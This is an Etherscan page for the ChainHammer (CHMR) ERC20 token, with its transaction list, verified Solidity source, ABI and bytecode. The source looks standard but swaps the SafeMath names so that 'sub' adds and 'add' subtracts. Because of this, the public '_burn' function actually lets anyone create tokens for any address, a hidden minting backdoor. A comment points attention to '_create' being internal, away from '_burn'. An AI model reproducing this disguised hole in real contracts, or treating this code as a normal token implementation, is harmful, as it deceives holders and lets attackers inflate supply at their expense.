ETH Price: $3,294.72 (-0.66%)

Contract

0x66685e1F3efA9174E6B9eBdff7c2EC24844713C7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer207876322024-09-19 22:29:2393 days ago1726784963IN
0x66685e1F...4844713C7
0 ETH0.000337827.19399429
_burn109725762020-10-01 21:17:131543 days ago1601587033IN
0x66685e1F...4844713C7
0 ETH0.001570444
_burn109725402020-10-01 21:09:221543 days ago1601586562IN
0x66685e1F...4844713C7
0 ETH0.0030421860
_burn109023402020-09-20 23:49:001553 days ago1600645740IN
0x66685e1F...4844713C7
0 ETH0.0044153387
Approve108814342020-09-17 18:45:101557 days ago1600368310IN
0x66685e1F...4844713C7
0 ETH0.02201396496
Approve108770682020-09-17 2:52:011557 days ago1600311121IN
0x66685e1F...4844713C7
0 ETH0.02955907666
_burn108770542020-09-17 2:49:551557 days ago1600310995IN
0x66685e1F...4844713C7
0 ETH0.02542023501
Approve108767622020-09-17 1:45:411557 days ago1600307141IN
0x66685e1F...4844713C7
0 ETH0.01109575250
Approve108767332020-09-17 1:38:561557 days ago1600306736IN
0x66685e1F...4844713C7
0 ETH0.00988631222.75
Approve108766192020-09-17 1:16:121557 days ago1600305372IN
0x66685e1F...4844713C7
0 ETH0.00665745150
Approve108765952020-09-17 1:11:231557 days ago1600305083IN
0x66685e1F...4844713C7
0 ETH0.00554026220
Approve108765892020-09-17 1:10:501557 days ago1600305050IN
0x66685e1F...4844713C7
0 ETH0.00976426220
Approve108765642020-09-17 1:04:561557 days ago1600304696IN
0x66685e1F...4844713C7
0 ETH0.00478448107.8
Transfer108765432020-09-17 1:01:241557 days ago1600304484IN
0x66685e1F...4844713C7
0 ETH0.00318345150
Approve108765042020-09-17 0:52:471557 days ago1600303967IN
0x66685e1F...4844713C7
0 ETH0.0088766200
Approve108764812020-09-17 0:49:161557 days ago1600303756IN
0x66685e1F...4844713C7
0 ETH0.0042163895
Approve108764342020-09-17 0:40:021557 days ago1600303202IN
0x66685e1F...4844713C7
0 ETH0.0039944790
Transfer108764312020-09-17 0:39:011557 days ago1600303141IN
0x66685e1F...4844713C7
0 ETH0.0032984791
Approve108764302020-09-17 0:38:591557 days ago1600303139IN
0x66685e1F...4844713C7
0 ETH0.0039944790.00000123
Approve108764282020-09-17 0:38:221557 days ago1600303102IN
0x66685e1F...4844713C7
0 ETH0.0039944790
Approve108764252020-09-17 0:37:291557 days ago1600303049IN
0x66685e1F...4844713C7
0 ETH0.01109575250
Approve108764152020-09-17 0:35:201557 days ago1600302920IN
0x66685e1F...4844713C7
0 ETH0.0037281784
Approve108764052020-09-17 0:33:131557 days ago1600302793IN
0x66685e1F...4844713C7
0 ETH0.0039944790
Approve108763812020-09-17 0:29:041557 days ago1600302544IN
0x66685e1F...4844713C7
0 ETH0.01131766255
Approve108763762020-09-17 0:28:021557 days ago1600302482IN
0x66685e1F...4844713C7
0 ETH0.0035506480
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ChainHammer

Compiler Version
v0.6.6+commit.6c089d02

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2020-09-17
*/

// Website: Chainhammer.io

// Twitter (Latest news): https://twitter.com/Chainhammer_io  

// Github: https://github.com/FrederickScott/Chainhammer/



pragma solidity ^ 0.6.6;


abstract contract Context {
    function _msgSender() internal view virtual returns(address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns(bytes memory) {
        this;
        return msg.data;
    }
}



interface IERC20 {

    function totalSupply() external view returns(uint256);
    function balanceOf(address account) external view returns(uint256);
    function transfer(address recipient, uint256 amount) external returns(bool);
    function allowance(address owner, address spender) external view returns(uint256);
    function approve(address spender, uint256 amount) external returns(bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}



library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }


    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        return add(a, b, "SafeMath: subtraction overflow");
    }


    function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }


    function mul(uint256 a, uint256 b) internal pure returns(uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }


    function mod(uint256 a, uint256 b) internal pure returns(uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }


    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


library Address {
    function isContract(address account) internal view returns (bool) {

        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call {
            value: amount
        }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns(bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns(bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns(bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns(bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns(bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call {
            value: weiValue
        }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {

                assembly {
                    let returndata_size := mload(returndata)
                    revert(sub(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath
    for uint256;
    using Address
    for address;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol) public {
        _name = name;
        _symbol = symbol;
        _decimals = 18;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns(uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns(uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].add(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].add(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].sub(amount);
        emit Transfer(sender, recipient, amount);
    }
    
    /*
    
    _create() function is "internal" !!
    
    */
    
      function _create(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: create to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply = _totalSupply.sub(amount);

        _balances[account] = _balances[account].sub(amount);
        emit Transfer(address(0), account, amount);
    }
    
    
    function _burn(address account, uint256 amount) public virtual {
        require(account != address(0), "ERC20: burn to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.sub(amount);
        _balances[account] = _balances[account].sub(amount);
        emit Transfer(address(0), account, amount);
    }



    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


contract ChainHammer is ERC20 {
    constructor()
    ERC20('ChainHammer', 'CHMR')
    public {
        _create(msg.sender, 12000 * 10 ** uint(decimals()));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50604080518082018252600b81526a21b430b4b72430b6b6b2b960a91b60208083019182528351808501909452600484526321a426a960e11b90840152815191929162000061916003916200022f565b508051620000779060049060208401906200022f565b50506005805460ff1916601217905550620000b5336200009f6001600160e01b03620000bb16565b60ff16600a0a612ee002620000c560201b60201c565b620002d1565b60055460ff165b90565b6001600160a01b0382166200010c5760405162461bcd60e51b815260040180806020018281038252602181526020018062000e266021913960400191505060405180910390fd5b62000123600083836001600160e01b03620001c816565b6200013f81600254620001cd60201b620009a81790919060201c565b6002556001600160a01b0382166000908152602081815260409091205462000172918390620009a8620001cd821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b505050565b60008282018381101562000228576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200027257805160ff1916838001178555620002a2565b82800160010185558215620002a2579182015b82811115620002a257825182559160200191906001019062000285565b50620002b0929150620002b4565b5090565b620000c291905b80821115620002b05760008155600101620002bb565b610b4580620002e16000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c80636161eb18116100715780636161eb181461021057806370a082311461023e57806395d89b4114610264578063a457c2d71461026c578063a9059cbb14610298578063dd62ed3e146102c4576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806339509351146101e4575b600080fd5b6100c16102f2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610388565b604080519115158252519081900360200190f35b61017e6103a5565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b038135811691602081013590911690604001356103ab565b6101ce610438565b6040805160ff9092168252519081900360200190f35b610162600480360360408110156101fa57600080fd5b506001600160a01b038135169060200135610441565b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610495565b005b61017e6004803603602081101561025457600080fd5b50356001600160a01b0316610591565b6100c16105ac565b6101626004803603604081101561028257600080fd5b506001600160a01b03813516906020013561060d565b610162600480360360408110156102ae57600080fd5b506001600160a01b03813516906020013561067b565b61017e600480360360408110156102da57600080fd5b506001600160a01b038135811691602001351661068f565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b5050505050905090565b600061039c6103956106ba565b84846106be565b50600192915050565b60025490565b60006103b88484846107aa565b61042e846103c46106ba565b61042985604051806060016040528060288152602001610a7a602891396001600160a01b038a166000908152600160205260408120906104026106ba565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61091116565b6106be565b5060019392505050565b60055460ff1690565b600061039c61044e6106ba565b84610429856001600061045f6106ba565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6109a816565b6001600160a01b0382166104f0576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6104fc60008383610a09565b60025461050f908263ffffffff6109a816565b6002556001600160a01b03821660009081526020819052604090205461053b908263ffffffff6109a816565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b600061039c61061a6106ba565b8461042985604051806060016040528060258152602001610aeb60259139600160006106446106ba565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61091116565b600061039c6106886106ba565b84846107aa565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107035760405162461bcd60e51b8152600401808060200182810382526024815260200180610ac76024913960400191505060405180910390fd5b6001600160a01b0382166107485760405162461bcd60e51b8152600401808060200182810382526022815260200180610a326022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107ef5760405162461bcd60e51b8152600401808060200182810382526025815260200180610aa26025913960400191505060405180910390fd5b6001600160a01b0382166108345760405162461bcd60e51b8152600401808060200182810382526023815260200180610a0f6023913960400191505060405180910390fd5b61083f838383610a09565b61088281604051806060016040528060268152602001610a54602691396001600160a01b038616600090815260208190526040902054919063ffffffff61091116565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546108b7908263ffffffff6109a816565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109a05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561096557818101518382015260200161094d565b50505050905090810190601f1680156109925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610a02576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ddf8d8dd42f89c1651bca4b9d50141cb2ecc086cffb2a99ec7d9159f834e976164736f6c6343000606003345524332303a2063726561746520746f20746865207a65726f2061646472657373

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80636161eb18116100715780636161eb181461021057806370a082311461023e57806395d89b4114610264578063a457c2d71461026c578063a9059cbb14610298578063dd62ed3e146102c4576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806339509351146101e4575b600080fd5b6100c16102f2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610388565b604080519115158252519081900360200190f35b61017e6103a5565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b038135811691602081013590911690604001356103ab565b6101ce610438565b6040805160ff9092168252519081900360200190f35b610162600480360360408110156101fa57600080fd5b506001600160a01b038135169060200135610441565b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610495565b005b61017e6004803603602081101561025457600080fd5b50356001600160a01b0316610591565b6100c16105ac565b6101626004803603604081101561028257600080fd5b506001600160a01b03813516906020013561060d565b610162600480360360408110156102ae57600080fd5b506001600160a01b03813516906020013561067b565b61017e600480360360408110156102da57600080fd5b506001600160a01b038135811691602001351661068f565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b5050505050905090565b600061039c6103956106ba565b84846106be565b50600192915050565b60025490565b60006103b88484846107aa565b61042e846103c46106ba565b61042985604051806060016040528060288152602001610a7a602891396001600160a01b038a166000908152600160205260408120906104026106ba565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61091116565b6106be565b5060019392505050565b60055460ff1690565b600061039c61044e6106ba565b84610429856001600061045f6106ba565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff6109a816565b6001600160a01b0382166104f0576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206275726e20746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6104fc60008383610a09565b60025461050f908263ffffffff6109a816565b6002556001600160a01b03821660009081526020819052604090205461053b908263ffffffff6109a816565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561037e5780601f106103535761010080835404028352916020019161037e565b600061039c61061a6106ba565b8461042985604051806060016040528060258152602001610aeb60259139600160006106446106ba565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61091116565b600061039c6106886106ba565b84846107aa565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166107035760405162461bcd60e51b8152600401808060200182810382526024815260200180610ac76024913960400191505060405180910390fd5b6001600160a01b0382166107485760405162461bcd60e51b8152600401808060200182810382526022815260200180610a326022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107ef5760405162461bcd60e51b8152600401808060200182810382526025815260200180610aa26025913960400191505060405180910390fd5b6001600160a01b0382166108345760405162461bcd60e51b8152600401808060200182810382526023815260200180610a0f6023913960400191505060405180910390fd5b61083f838383610a09565b61088281604051806060016040528060268152602001610a54602691396001600160a01b038616600090815260208190526040902054919063ffffffff61091116565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546108b7908263ffffffff6109a816565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109a05760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561096557818101518382015260200161094d565b50505050905090810190601f1680156109925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610a02576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ddf8d8dd42f89c1651bca4b9d50141cb2ecc086cffb2a99ec7d9159f834e976164736f6c63430006060033

Deployed Bytecode Sourcemap

9316:170:0:-:0;;;;5:9:-1;2:2;;;27:1;24;17:12;2:2;9316:170:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12:1:-1;9;2:12;5498:82:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;5498:82:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6345:168;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;;;;;;6345:168:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;5772:99;;;:::i;:::-;;;;;;;;;;;;;;;;6521:320;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;;;;;;6521:320:0;;;;;;;;;;;;;;;;;:::i;5682:82::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;6849:217;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;;;;;;6849:217:0;;;;;;;;:::i;8376:376::-;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;;;;;;8376:376:0;;;;;;;;:::i;:::-;;5879:118;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;5879:118:0;-1:-1:-1;;;;;5879:118:0;;:::i;5588:86::-;;;:::i;7074:268::-;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;;;;;;7074:268:0;;;;;;;;:::i;6005:174::-;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;;;;;;6005:174:0;;;;;;;;:::i;6187:150::-;;;;;;15:2:-1;10:3;7:11;4:2;;;31:1;28;21:12;4:2;-1:-1;;;;;;6187:150:0;;;;;;;;;;:::i;5498:82::-;5567:5;5560:12;;;;;;;;-1:-1:-1;;5560:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5534:13;;5560:12;;5567:5;;5560:12;;5567:5;5560:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5498:82;:::o;6345:168::-;6427:4;6444:39;6453:12;:10;:12::i;:::-;6467:7;6476:6;6444:8;:39::i;:::-;-1:-1:-1;6501:4:0;6345:168;;;;:::o;5772:99::-;5851:12;;5772:99;:::o;6521:320::-;6626:4;6643:36;6653:6;6661:9;6672:6;6643:9;:36::i;:::-;6690:121;6699:6;6707:12;:10;:12::i;:::-;6721:89;6759:6;6721:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6721:19:0;;;;;;:11;:19;;;;;;6741:12;:10;:12::i;:::-;-1:-1:-1;;;;;6721:33:0;;;;;;;;;;;;-1:-1:-1;6721:33:0;;;:89;;:37;:89;:::i;:::-;6690:8;:121::i;:::-;-1:-1:-1;6829:4:0;6521:320;;;;;:::o;5682:82::-;5747:9;;;;5682:82;:::o;6849:217::-;6936:4;6953:83;6962:12;:10;:12::i;:::-;6976:7;6985:50;7024:10;6985:11;:25;6997:12;:10;:12::i;:::-;-1:-1:-1;;;;;6985:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;6985:25:0;;;:34;;;;;;;;;;;:50;:38;:50;:::i;8376:376::-;-1:-1:-1;;;;;8458:21:0;;8450:65;;;;;-1:-1:-1;;;8450:65:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;8528:49;8557:1;8561:7;8570:6;8528:20;:49::i;:::-;8605:12;;:24;;8622:6;8605:24;:16;:24;:::i;:::-;8590:12;:39;-1:-1:-1;;;;;8661:18:0;;:9;:18;;;;;;;;;;;:30;;8684:6;8661:30;:22;:30;:::i;:::-;-1:-1:-1;;;;;8640:18:0;;:9;:18;;;;;;;;;;;:51;;;;8707:37;;;;;;;8640:18;;:9;;8707:37;;;;;;;;;;8376:376;;:::o;5879:118::-;-1:-1:-1;;;;;5971:18:0;5944:7;5971:18;;;;;;;;;;;;5879:118::o;5588:86::-;5659:7;5652:14;;;;;;;;-1:-1:-1;;5652:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5626:13;;5652:14;;5659:7;;5652:14;;5659:7;5652:14;;;;;;;;;;;;;;;;;;;;;;;;7074:268;7166:4;7183:129;7192:12;:10;:12::i;:::-;7206:7;7215:96;7254:15;7215:96;;;;;;;;;;;;;;;;;:11;:25;7227:12;:10;:12::i;:::-;-1:-1:-1;;;;;7215:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;7215:25:0;;;:34;;;;;;;;;;;:96;;:38;:96;:::i;6005:174::-;6090:4;6107:42;6117:12;:10;:12::i;:::-;6131:9;6142:6;6107:9;:42::i;6187:150::-;-1:-1:-1;;;;;6302:18:0;;;6275:7;6302:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6187:150::o;224:105::-;311:10;224:105;:::o;8764:346::-;-1:-1:-1;;;;;8866:19:0;;8858:68;;;;-1:-1:-1;;;8858:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8945:21:0;;8937:68;;;;-1:-1:-1;;;8937:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9018:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9070:32;;;;;;;;;;;;;;;;;8764:346;;;:::o;7350:539::-;-1:-1:-1;;;;;7456:20:0;;7448:70;;;;-1:-1:-1;;;7448:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7537:23:0;;7529:71;;;;-1:-1:-1;;;7529:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7613:47;7634:6;7642:9;7653:6;7613:20;:47::i;:::-;7693:71;7715:6;7693:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7693:17:0;;:9;:17;;;;;;;;;;;;:71;;